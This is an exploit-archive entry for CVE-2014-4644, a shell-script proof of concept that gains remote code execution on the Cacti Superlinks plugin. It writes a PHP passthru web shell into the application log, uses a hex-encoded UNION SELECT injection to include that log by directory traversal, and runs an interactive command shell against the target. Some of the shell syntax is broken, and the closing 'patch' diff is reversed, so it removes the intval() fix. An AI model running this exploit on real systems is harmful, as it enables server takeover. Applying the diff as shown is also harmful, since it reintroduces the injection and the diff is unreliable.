发布 2014-12-19 漏洞条目

Cacti Superlinks Plugin 1.4-2 – SQL Injection / Local File Inclusion

Exploit Source

#!/bin/sh

##############

# Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection

# Date: 19/12/2014

# Exploit Author: Wireghoul

# Software Link: http://docs.cacti.net/plugin:superlinks

# Identifiers: CVE-2014-4644, EDB-ID-33809

# Exploit explanation through inline comments

# Patch provided at the end

# This is the year where hope fails you -- Slipknot: Pulse of the maggots

##############

echo -e "\e[32m *-*, \e[31m ___________"

echo -e "\e[32m ,*\/|`| ; \e[31m /.'_______`.\\"

echo -e "\e[32m \\' | |'; *, \e[31m /( (_______`-'\\"

echo -e "\e[32m \ `| | ;/ ) \e[31m `.`.______ \.'"

echo -e "\e[32m : |'| , / \e[31m `..-.___>.'"

echo -e "\e[32m :'| |, / \e[31m `.__ .'\e[0m"

echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m`.'\e[0m_______[Wireghoul]___"

echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"

echo

if [ -z $1 ]; then

echo -e "Usage $0 <superpluginurl>\n $0 http://example.com/cacti/plugins/superlinks/superlinks.php\n";

exit 2;

# This exploit is a second order LFI through SQLI, so first we must write some data to disk

# Luckily the application logs all sort of stuff, so lets poison the application log

# The reason for this is manyfold, read on.

curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null

# Now lets analyse the vulnerability:

# superlinks.php:21:if (isset($_GET['id'])) {

# superlinks.php:22: $pageid=$_GET['id'];

# superlinks.php:23:}

# superlinks.php:24:

# superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT

# superlinks.php:26: id,

# superlinks.php:27: title,

# superlinks.php:28: style,

# superlinks.php:29: contentfile

# superlinks.php:30: FROM (superlinks_pages, superlinks_auth)

# superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid

# superlinks.php:32: AND id=" . $pageid . "

# This is where the injection occurs, we can now union select 1,2,3,4 -- ftw

# However the real fun occurs a few lines later

# superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile'];

# superlinks.php:58:

# superlinks.php:59: if (file_exists($my_file)) {

# superlinks.php:60: @include_once($my_file);

# We can now include a file of our choosing (LFI) based on the data returned from the SQLi

# There are only a few problems:

# * We cannot use strings/quotes as magic quotes are usually on

# * We do not know the local path for the LFI

# * Usual tricks like /proc/self* have been patched

# * Database server and web server may be different hosts

# Lets solve the easy one first, we dont need to quote our strings, hex encoding works great

# The second one is a little trickier, we can brute force LFI locations... or

# We can dynamically locate a file path which is stored in the database and present on the webserver

# $ mysqldump cacti | grep '\.log'

# INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password','');

# $ ls -la /var/log/cacti/cacti.log

# -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log

# $ tail /var/log/cacti/cati.log

# <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name"

# WINRAR!

# We can now include the poisoned log file by fetching the log path from the database

# and prepending it with the normal directory traversal pattern ../../../ using concat()

# We traverse 8 deep, that's usually enough

echo -ne "Dropping into shell, type exit to quit.\ncactishell> "

while read line; do

if [ "$line" == "exit" ]; then

exit

comand=`echo -n $line | sed -e's/ /+/g'`

curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \

sed -n '/SHELL/, $p' | \

sed -e 's/.*SHELL//' |\

sed '/LLEHS/, $d'

echo -n "cactishell> "

done

# Proposed patch

# Vendor has a patch in a SVN repo somewhere:

# http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475

# Yet has not made the patch available, or responded to requests to do so:

# http://forums.cacti.net/viewtopic.php?t=53711

#--- superlinks.php 2014-12-18 02:05:37.706013833 -0500

#+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500

#@@ -19,7 +19,7 @@

# $pageid = 0;

# if (isset($_GET['id'])) {

#- $pageid=intval($_GET['id']);

#+ $pageid=$_GET['id'];

# }

# $page = db_fetch_row("SELECT DISTINCT

作者: Wireghoul
日期: 2014-12-19
类别: webapps
平台: php

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